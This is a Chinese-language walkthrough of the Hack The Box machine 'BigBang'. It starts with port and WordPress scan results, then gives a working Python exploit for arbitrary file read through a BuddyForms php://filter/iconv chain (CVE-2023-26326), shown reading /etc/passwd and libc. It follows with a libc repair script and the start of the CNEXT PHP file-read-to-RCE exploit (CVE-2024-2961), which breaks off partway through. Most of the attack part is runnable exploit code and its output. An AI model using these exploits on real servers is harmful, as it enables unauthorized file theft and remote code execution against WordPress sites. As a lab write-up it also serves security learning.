系统:linux
内容:CVE-2023-26326,CVE-2024-2961
在众人的帮助下,解决了这台hard难度的靶机,脚本都是网上的。
端口扫描如下,将blog.bigbang.htb和bigbang.htb加入hosts。这个结果就很明显了,就是突破80端口。
~/D/b $auto_nmap.sh $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
|_ 256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
wpscan扫描结果如下。
~/D/b $wpscan --url http://blog.bigbang.htb -e u,ap --api-token <your key> --force --plugins-detection aggressive
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.27
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://blog.bigbang.htb/ [10.10.11.52]
[+] Started: Sun Jan 26 04:06:09 2025
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.62 (Debian)
| - X-Powered-By: PHP/8.3.2
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://blog.bigbang.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://blog.bigbang.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://blog.bigbang.htb/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://blog.bigbang.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
| Found By: Rss Generator (Passive Detection)
| - http://blog.bigbang.htb/?feed=rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
| - http://blog.bigbang.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
|
| [!] 3 vulnerabilities identified:
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API
| Fixed in: 6.5.5
| References:
| - https://wpscan.com/vulnerability/2c63f136-4c1f-4093-9a8c-5e51f19eae28
| - https://wordpress.org/news/2024/06/wordpress-6-5-5/
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block
| Fixed in: 6.5.5
| References:
| - https://wpscan.com/vulnerability/7c448f6d-4531-4757-bff0-be9e3220bbbb
| - https://wordpress.org/news/2024/06/wordpress-6-5-5/
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block
| Fixed in: 6.5.5
| References:
| - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
| - https://wordpress.org/news/2024/06/wordpress-6-5-5/
[+] WordPress theme in use: twentytwentyfour
| Location: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/
| Last Updated: 2024-11-13T00:00:00.000Z
| Readme: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/readme.txt
| [!] The version is out of date, the latest version is 1.3
| [!] Directory listing is enabled
| Style URL: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css
| Style Name: Twenty Twenty-Four
| Style URI: https://wordpress.org/themes/twentytwentyfour/
| Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
| Author: the WordPress team
| Author URI: https://wordpress.org
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'
[+] Enumerating All Plugins (via Aggressive Methods)
Checking Known Locations - Time: 00:41:14 <=> (108786 / 108786) 100.00% Time: 00:41:14
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] akismet
| Location: http://blog.bigbang.htb/wp-content/plugins/akismet/
| Latest Version: 5.3.5
| Last Updated: 2024-11-19T02:02:00.000Z
|
| Found By: Known Locations (Aggressive Detection)
| - http://blog.bigbang.htb/wp-content/plugins/akismet/, status: 403
|
| [!] 1 vulnerability identified:
|
| [!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
| Fixed in: 3.1.5
| References:
| - https://wpscan.com/vulnerability/1a2f3094-5970-4251-9ed0-ec595a0cd26c
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357
| - http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/
| - https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
|
| The version could not be determined.
[+] buddyforms
| Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
| Last Updated: 2024-09-25T04:52:00.000Z
| Readme: http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt
| [!] The version is out of date, the latest version is 2.8.13
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - http://blog.bigbang.htb/wp-content/plugins/buddyforms/, status: 200
|
| [!] 11 vulnerabilities identified:
|
| [!] Title: BuddyForms < 2.7.8 - Unauthenticated PHAR Deserialization
| Fixed in: 2.7.8
| References:
| - https://wpscan.com/vulnerability/a554091e-39d1-4e7e-bbcf-19b2a7b8e89f
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26326
|
| [!] Title: Freemius SDK < 2.5.10 - Reflected Cross-Site Scripting
| Fixed in: 2.8.3
| References:
| - https://wpscan.com/vulnerability/7fd1ad0e-9db9-47b7-9966-d3f5a8771571
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33999
|
| [!] Title: BuddyForms < 2.8.2 - Contributor+ Stored XSS
| Fixed in: 2.8.2
| References:
| - https://wpscan.com/vulnerability/7ebb0593-3c90-404c-9966-f87690395be9
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25981
|
| [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.8 - Missing Authorization
| Fixed in: 2.8.8
| References:
| - https://wpscan.com/vulnerability/3eb25546-5aa3-4e58-b563-635ecdb21097
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1158
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/198cb3bb-73fe-45ae-b8e0-b7ee8dda9547
|
| [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.8 - Missing Authorization to Unauthenticated Media Deletion
| Fixed in: 2.8.8
| References:
| - https://wpscan.com/vulnerability/b6e2f281-073e-497f-898b-23d6220b20c7
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1170
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/380c646c-fd95-408a-89eb-3e646768bbc5
|
| [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.8 - Missing Authorization to Unauthenticated Media Upload
| Fixed in: 2.8.8
| References:
| - https://wpscan.com/vulnerability/71e4f4c1-20ba-42ac-8ac7-e798c4bc611d
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1169
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/6d14a90d-65ea-45da-956b-0735e2e2b538
|
| [!] Title: BuddyForms < 2.8.6 - Reflected Cross-Site Scripting via page
| Fixed in: 2.8.6
| References:
| - https://wpscan.com/vulnerability/72c096b3-55bd-4614-8029-69900db79416
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-30198
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/701d6bee-6eb2-4497-bf54-fbc384d9d2e5
|
| [!] Title: BuddyForms < 2.8.9 - Unauthenticated Arbitrary File Read and Server-Side Request Forgery
| Fixed in: 2.8.9
| References:
| - https://wpscan.com/vulnerability/3f8082a0-b4b2-4068-b529-92662d9be675
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32830
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/23d762e9-d43f-4520-a6f1-c920417a2436
|
| [!] Title: BuddyForms < 2.8.10 - Email Verification Bypass due to Insufficient Randomness
| Fixed in: 2.8.10
| References:
| - https://wpscan.com/vulnerability/aa238cd4-4329-4891-b4ff-8268a5e18ae2
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-5149
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/a5c8d361-698b-4abd-bcdd-0361d3fd10c5
|
| [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.12 - Authenticated (Contributor+) Privilege Escalation
| Fixed in: 2.8.12
| References:
| - https://wpscan.com/vulnerability/ca0fa099-ad8a-451f-8bb3-2c68def0ac6f
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-8246
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/40760f60-b81a-447b-a2c8-83c7666ce410
|
| [!] Title: BuddyForms < 2.8.13 - Authenticated (Editor+) Stored Cross-Site Scripting
| Fixed in: 2.8.13
| References:
| - https://wpscan.com/vulnerability/61885f61-bd62-4530-abe3-56f89bcdd8e4
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-47377
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/ac8a06f5-4560-401c-b762-5422b624ba84
|
| Version: 2.7.7 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt
+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:01 <=========> (10 / 10) 100.00% Time: 00:00:01
[i] User(s) Identified:
[+] root
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] shawking
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] WPScan DB API OK
| Plan: free
| Requests Done (during the scan): 4
| Requests Remaining: 21
[+] Finished: Sun Jan 26 04:48:03 2025
[+] Requests Done: 108832
[+] Cached Requests: 7
[+] Data Sent: 29.947 MB
[+] Data Received: 15.377 MB
[+] Memory used: 461.652 MB
[+] Elapsed time: 00:41:54
从扫描结果可以看出,BuddyForms插件存在CVE-2023-26326漏洞,这个靶机是利用CVE-2023-26326结合CVE-2024-2961。
先来看靶机的LFI漏洞,lfi.py脚本如下。
~/D/b $cat lfi.py
# This script demonstrates a proof-of-concept (PoC) for exploiting a file read vulnerability in the iconv library, as detailed in Ambionics Security's blog https://www.ambionics.io/blog/iconv-cve-2024-2961-p1.
# Made by kyotozx https://github.com/kyotozx
import requests
# Configuration
TARGET_URL = "http://blog.bigbang.htb/wp-admin/admin-ajax.php" # EDIT
UPLOAD_ACTION = "upload_image_from_url"
ACCEPTED_FILES = "image/gif"
UPLOAD_BASE_URL = "http://blog.bigbang.htb/wp-content/uploads/2025/01/" #EDIT
# Headers
HEADERS = {
"Host": "blog.bigbang.htb", #EDIT
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Cookie": "wordpress_test_cookie=WP%20Cookie%20check",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i",
"Content-Type": "application/x-www-form-urlencoded",
}
# Function to create the PHP filter payload
def create_payload(file_path):
payload = (
"php://filter/convert.base64-encode|"
"convert.iconv.855.UTF7|"
"convert.iconv.CP869.UTF-32|"
"convert.iconv.MACUK.UCS4|"
"convert.base64-decode|"
"convert.base64-encode|"
"convert.iconv.855.UTF7|"
"convert.iconv.UTF8.UTF16LE|"
"convert.iconv.UTF8.CSISO2022KR|"
"convert.iconv.UTF16.EUCTW|"
"convert.iconv.8859_3.UCS2|"
"convert.base64-decode|"
"convert.base64-encode|"
"convert.iconv.855.UTF7|"
"convert.iconv.L6.UNICODE|"
"convert.iconv.CP1282.ISO-IR-90|"
"convert.base64-decode|"
"convert.base64-encode|"
"convert.iconv.855.UTF7|"
"convert.iconv.PT.UTF32|"
"convert.iconv.KOI8-U.IBM-932|"
"convert.base64-decode|"
"convert.base64-encode|"
"convert.iconv.855.UTF7|"
"convert.iconv.CSGB2312.UTF-32|"
"convert.iconv.IBM-1161.IBM932|"
"convert.iconv.GB13000.UTF16BE|"
"convert.iconv.864.UTF-32LE|"
"convert.base64-decode|"
"convert.base64-encode|"
"convert.iconv.855.UTF7|"
"convert.iconv.CP-AR.UTF16|"
"convert.iconv.8859_4.BIG5HKSCS|"
"convert.iconv.MSCP1361.UTF-32LE|"
"convert.iconv.IBM932.UCS-2BE|"
"convert.base64-decode|"
"convert.base64-encode|"
"convert.iconv.855.UTF7|"
"convert.iconv.INIS.UTF16|"
"convert.iconv.CSIBM1133.IBM943|"
"convert.iconv.IBM932.SHIFT_JISX0213|"
"convert.base64-decode|"
"convert.base64-encode|"
"convert.iconv.855.UTF7|"
"convert.iconv.CSA_T500.UTF-32|"
"convert.iconv.CP857.ISO-2022-JP-3|"
"convert.iconv.ISO2022JP2.CP775|"
"convert.base64-decode|"
"convert.base64-encode|"
"convert.iconv.855.UTF7|"
"convert.iconv.L6.UNICODE|"
"convert.iconv.CP1282.ISO-IR-90|"
"convert.base64-decode|"
"convert.base64-encode|"
"convert.iconv.855.UTF7|"
"convert.iconv.CP-AR.UTF16|"
"convert.iconv.8859_4.BIG5HKSCS|"
"convert.iconv.MSCP1361.UTF-32LE|"
"convert.iconv.IBM932.UCS-2BE|"
"convert.base64-decode|"
"convert.base64-encode|"
"convert.iconv.855.UTF7|"
"convert.iconv.UTF8.UTF16LE|"
"convert.iconv.UTF8.CSISO2022KR|"
"convert.iconv.UCS2.UTF8|"
"convert.iconv.8859_3.UCS2|"
"convert.base64-decode|"
"convert.base64-encode|"
"convert.iconv.855.UTF7|"
"convert.iconv.PT.UTF32|"
"convert.iconv.KOI8-U.IBM-932|"
"convert.iconv.SJIS.EUCJP-WIN|"
"convert.iconv.L10.UCS4|"
"convert.base64-decode|"
"convert.base64-encode|"
"convert.iconv.855.UTF7|"
"convert.base64-decode/resource=" + file_path
)
return payload
# Function to upload the file
def upload_file(file_path, attachment_id):
payload = {
"action": UPLOAD_ACTION,
"url": create_payload(file_path),
"id": attachment_id,
"accepted_files": ACCEPTED_FILES,
}
response = requests.post(TARGET_URL, headers=HEADERS, data=payload)
if response.status_code == 200:
return response.json()["response"]
else:
print(f"Upload error: {response.status_code}")
return None
# Function to download and display the file content
def download_and_read_file(file_url):
response = requests.get(file_url)
if response.status_code == 200:
# Remove the GIF89a header and display the content
content = response.text.replace("GIF89a\n", "")
print(content)
else:
print(f"Error downloading file: {response.status_code}")
# Main function
def main():
print("Remote File Read - CVE-2024-2961")
file_path = input("Enter the path of the file you want to read (e.g., /etc/passwd): ")
attachment_id = input("Enter a numeric ID for the upload (e.g., 1): ")
# Upload the file
file_url = upload_file(file_path, attachment_id)
if file_url:
print(f"File uploaded successfully: {file_url}")
# Download and display the file content
download_and_read_file(file_url)
else:
print("File upload failed.")
if __name__ == "__main__":
main()
运行脚本,验证确实可以实现LFI。
~/D/b $python3 lfi.py
Remote File Read - CVE-2024-2961
Enter the path of the file you want to read (e.g., /etc/passwd): /etc/passwd
Enter a numeric ID for the upload (e.g., 1): 2
File uploaded successfully: http://blog.bigbang.htb/wp-content/uploads/2025/01/2-1.png
GIF89a\nMroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nol
下面要取得靶机的libc.so.6文件。
~/D/b $python3 lfi.py
Remote File Read - CVE-2024-2961
Enter the path of the file you want to read (e.g., /etc/passwd): /usr/lib/x86_64-linux-gnu/libc.so.6
Enter a numeric ID for the upload (e.g., 1): 4
File uploaded successfully: http://blog.bigbang.htb/wp-content/uploads/2025/01/4.png
GIF89a\nMELF>t@XD@8@@?@@�
4.png就是获取的libc.so.6文件。但是这个文件的文件头和表头是损坏的,需要修复一下。
修复脚本如下。
~/D/b $cat fix.py
import os
import shutil
def extract_libc(png_path, output_path, start_offset, total_size):
"""
Extract libc.so.6 data from a PNG file.
"""
with open(png_path, 'rb') as png_file:
# Read the exact number of bytes for libc.so.6
png_file.seek(start_offset)
extracted_data = png_file.read(total_size)
with open(output_path, 'wb') as output_file:
output_file.write(extracted_data)
print(f"Extracted libc.so.6 data to {output_path}")
print(f"Extracted size: {len(extracted_data)} bytes")
def append_valid_section_headers(libc_path, reference_libc_path):
"""
Append valid section headers from a reference libc.so.6 to the extracted file.
"""
with open(reference_libc_path, 'rb') as ref_file:
ref_file.seek(section_headers_offset)
section_headers_data = ref_file.read(total_section_headers_size)
with open(libc_path, 'ab') as libc_file:
libc_file.write(section_headers_data)
print(f"Appended section headers from reference libc.so.6.")
# Paths to files
png_file_path = '4.png'
reference_libc_path = 'libc.so.6'
output_libc_path = 'libc.so.7'
# Known offsets and sizes
elf_start_offset = 9 # ELF header start offset in 1-40.png
section_headers_offset = 0x1D7278 # Section headers offset in reference libc.so.6
total_section_headers_size = 60 * 64 # 60 section headers, each 64 bytes
total_size = section_headers_offset + total_section_headers_size - elf_start_offset # Full size of libc.so.6
# Step 1: Extract the main ELF data from 1-40.png
extract_libc(
png_path=png_file_path,
output_path=output_libc_path,
start_offset=elf_start_offset,
total_size=total_size
)
# Step 2: Append section headers from the reference libc.so.6
append_valid_section_headers(
libc_path=output_libc_path,
reference_libc_path=reference_libc_path
)
print(f"Fixed libc.so.6 saved to: {output_libc_path}")
先将本机的libc.so.6拷贝到当前目录下,作为修复文件的参考,然后运行脚本,会将4.png修复为libc.so.7。删除本机的libc.so.6,将libc.so.7改回libc.so.6。
~/D/b $python3 fix.py
Extracted libc.so.6 data to libc.so.7
Extracted size: 1922127 bytes
Appended section headers from reference libc.so.6.
Fixed libc.so.6 saved to: libc.so.7
下面就要利用cnext-exploit.py这个脚本,实现从LFI到命令运行,脚本内容如下。
~/D/b $cat cnext-exploit.py
#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#
from __future__ import annotations
import base64
import urllib.parse
import zlib
import urllib
from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError
from pwn import *
from ten import *
HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")
class Remote:
"""A helper class to send the payload and download files.
The logic of the exploit is always the same, but the exploit needs to know how to
download files (/proc/self/maps and libc) and how to send the payload.
The code here serves as an example that attacks a page that looks like:
```php
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
```
Tweak it to fit your target, and start the exploit.
"""
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
data = {'action' : 'upload_image_from_url',
'url' : urllib.parse.quote_plus('php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource='+path),
'id' : '1',
'accepted_files' : 'image/gif'}
return self.session.post(self.url, data=data)
def send_exploit(self, payload: bytes) -> Response:
"""Sends the payload to the server.
"""
data = {'action' : 'upload_image_from_url',
'url' : urllib.parse.quote_plus(payload),
'id' : '1',
'accepted_files' : 'image/gif'}
return self.session.post(self.url, data=data)
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
file_path = self.send(path).json()['response']
if 'File type' in file_path:
print(file_path)
return b''
response = self.session.get(file_path)
data = response.content[6:]
return data
def data_decode(self, data:bytes)->bytes:
data = data.decode('latin-1')
return base64.decode(data + (4 - len(data) % 4) * '=')
@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
"pad",
"Number of 0x100 chunks to pad with. If the website makes a lot of heap "
"operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
"""CNEXT exploit: RCE using a file read primitive in PHP."""
url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20
def __post_init__(self):
self.remote = Remote(self.url)
self.log = logger("EXPLOIT")
self.info = {}
self.heap = self.heap and int(self.heap, 16)
def check_vulnerable(self) -> None:
"""Checks whether the target is reachable and properly allows for the various
wrappers and filters that the exploit needs.
"""
def safe_download(path: str) -> bytes:
try:
return self.remote.download(path)
except ConnectionError:
failure("Target not [b]reachable[/] ?")
def check_token(text: str, path: str) -> bool:
result = safe_download(path)
return len(set(result).intersection(set(text.encode()))) > 0
text = tf.random.string(50).encode()
base64 = b64(b'GIF89a' + text, misalign=True).decode()
path = f"data:text/plain;base64,{base64}"
result = safe_download(path)
if len(set(result).intersection(set(text))) == 0:
msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")
failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")
msg_info("The [i]data://[/] wrapper works")
text = 'GIF89a' + tf.random.string(50)
base64 = b64(text.encode(), misalign=True).decode()
path = f"php://filter//resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]php://filter/[/] wrapper does not work")
msg_info("The [i]php://filter/[/] wrapper works")
text = 'GIF89a' + tf.random.string(50)
base64 = b64(compress(text.encode()), misalign=True).decode()
path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]zlib[/] extension is not enabled")
msg_info("The [i]zlib[/] extension is enabled")
msg_success("Exploit preconditions are satisfied")
def get_file(self, path: str) -> bytes:
with msg_status(f"Downloading [i]{path}[/]..."):
return self.remote.download(path)
def get_regions(self) -> list[Region]:
"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
maps = self.remote.data_decode(self.get_file("/proc/self/maps"))
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
failure("Unable to parse memory mappings")
self.log.info(f"Got {len(regions)} memory regions")
return regions
def get_symbols_and_addresses(self) -> None:
"""Obtains useful symbols and addresses from the file read primitive."""
regions = self.get_regions()
LIBC_FILE = "./libc.so.6"
# PHP's heap
self.info["heap"] = self.heap or self.find_main_heap(regions)
print(f'HEAP address: {hex(self.info["heap"])}')
# Libc
libc = self._get_region(regions, "libc-", "libc.so")
#self.download_file(libc.path, LIBC_FILE)
self.info["libc"] = ELF(LIBC_FILE, checksec=False)
print(f'LIBC address: {hex(libc.start)}')
self.info["libc"].address = libc.start
def _get_region(self, regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")
return region
def download_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
data = self.remote.data_decode(self.get_file(remote_path))
Path(local_path).write(data)
def find_main_heap(self, regions: list[Region]) -> Region:
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE-1) == 0
and region.path in ("", "[anon:zend_alloc]")
]
if not heaps:
failure("Unable to find PHP's main heap in memory")
first = heaps[0]
if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using last one)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")
return first
def run(self) -> None:
#self.check_vulnerable()
self.get_symbols_and_addresses()
self.exploit()
def build_exploit_path(self) -> str:
"""On each step of the exploit, a filter will process each chunk one after the
other. Processing generally involves making some kind of operation either
on the chunk or in a destination chunk of the same size. Each operation is
applied on every single chunk; you cannot make PHP apply iconv on the first 10
chunks and leave the rest in place. That's where the difficulties come from.
Keep in mind that we know the address of the main heap, and the libraries.
ASLR/PIE do not matter here.
The idea is to use the bug to make the freelist for chunks of size 0x100 point
lower. For instance, we have the following free list:
... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00
By triggering the bug from chunk ..900, we get:
... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???
That's step 3.
Now, in order to control the free list, and make it point whereever we want,
we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,
we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.
That's step 2.
Now, if we were to perform step2 an then step3 without anything else, we'd have
a problem: after step2 has been processed, the free list goes bottom-up, like:
0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900
We need to go the other way around. That's why we have step 1: it just allocates
chunks. When they get freed, they reverse the free list. Now step2 allocates in
reverse order, and therefore after step2, chunks are in the correct order.
Another problem comes up.
To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.
Since step2 creates chunks that contain pointers and pointers are generally not
UTF-8, we cannot afford to have that conversion happen on the chunks of step2.
To avoid this, we put the chunks in step2 at the very end of the chain, and
